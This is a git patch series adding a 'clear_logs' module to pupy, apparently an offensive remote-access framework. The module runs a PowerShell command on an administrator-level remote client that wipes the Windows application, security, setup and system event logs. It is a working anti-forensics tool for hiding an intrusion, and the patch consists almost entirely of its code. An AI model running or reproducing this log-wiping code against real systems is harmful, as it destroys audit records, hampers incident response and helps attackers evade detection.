From 5f4175f7dab07ab96ef83fc20e0e8976512fcffa Mon Sep 17 00:00:00 2001 From: Alessandro ZANNI Date: Fri, 4 Nov 2016 18:05:01 +0100 Subject: [PATCH 1/2] clear windows logs from event log --- pupy/modules/clear_logs.py | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 pupy/modules/clear_logs.py diff --git a/pupy/modules/clear_logs.py b/pupy/modules/clear_logs.py new file mode 100644 index 00000000..c730f26e --- /dev/null +++ b/pupy/modules/clear_logs.py @@ -0,0 +1,25 @@ +# -*- coding: utf-8 -*- +from pupylib.PupyModule import * +from modules.lib.utils.shell_exec import shell_exec + +__class_name__="ClearLogs" + +@config(cat="admin", compat=["windows"]) +class ClearLogs(PupyModule): + """ clear event logs """ + + def init_argparse(self): + self.arg_parser = PupyArgumentParser(prog="clear_logs", description=self.__doc__) + + def run(self, args): + if self.client.is_windows(): + if self.client.desc['intgty_lvl'] != "High": + self.error('You need admin privileges to clear logs') + return + + powershell_cmd = '$events_logs="application","security","setup","system"; ForEach ($event in $events_logs) { [System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog("$event")}' + output = shell_exec(self.client, powershell_cmd, shell='powershell.exe') + if not output: + self.success('Logs deleted successfully') + else: + self.error('An error occured: \n%s' % output) \ No newline at end of file From 7989714fa70c7c138256e85552f5b9992cac7b89 Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Mon, 7 Nov 2016 22:02:42 +0100 Subject: [PATCH 2/2] remove unused line --- pupy/modules/clear_logs.py | 21 ++++++++++----------- 1 file changed, 10 insertions(+), 11 deletions(-) diff --git a/pupy/modules/clear_logs.py b/pupy/modules/clear_logs.py index c730f26e..a41afa2b 100644 --- a/pupy/modules/clear_logs.py +++ b/pupy/modules/clear_logs.py @@ -12,14 +12,13 @@ class ClearLogs(PupyModule): self.arg_parser = PupyArgumentParser(prog="clear_logs", description=self.__doc__) def run(self, args): - if self.client.is_windows(): - if self.client.desc['intgty_lvl'] != "High": - self.error('You need admin privileges to clear logs') - return - - powershell_cmd = '$events_logs="application","security","setup","system"; ForEach ($event in $events_logs) { [System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog("$event")}' - output = shell_exec(self.client, powershell_cmd, shell='powershell.exe') - if not output: - self.success('Logs deleted successfully') - else: - self.error('An error occured: \n%s' % output) \ No newline at end of file + if self.client.desc['intgty_lvl'] != "High": + self.error('You need admin privileges to clear logs') + return + + powershell_cmd = '$events_logs="application","security","setup","system"; ForEach ($event in $events_logs) { [System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog("$event")}' + output = shell_exec(self.client, powershell_cmd, shell='powershell.exe') + if not output: + self.success('Logs deleted successfully') + else: + self.error('An error occured: \n%s' % output) \ No newline at end of file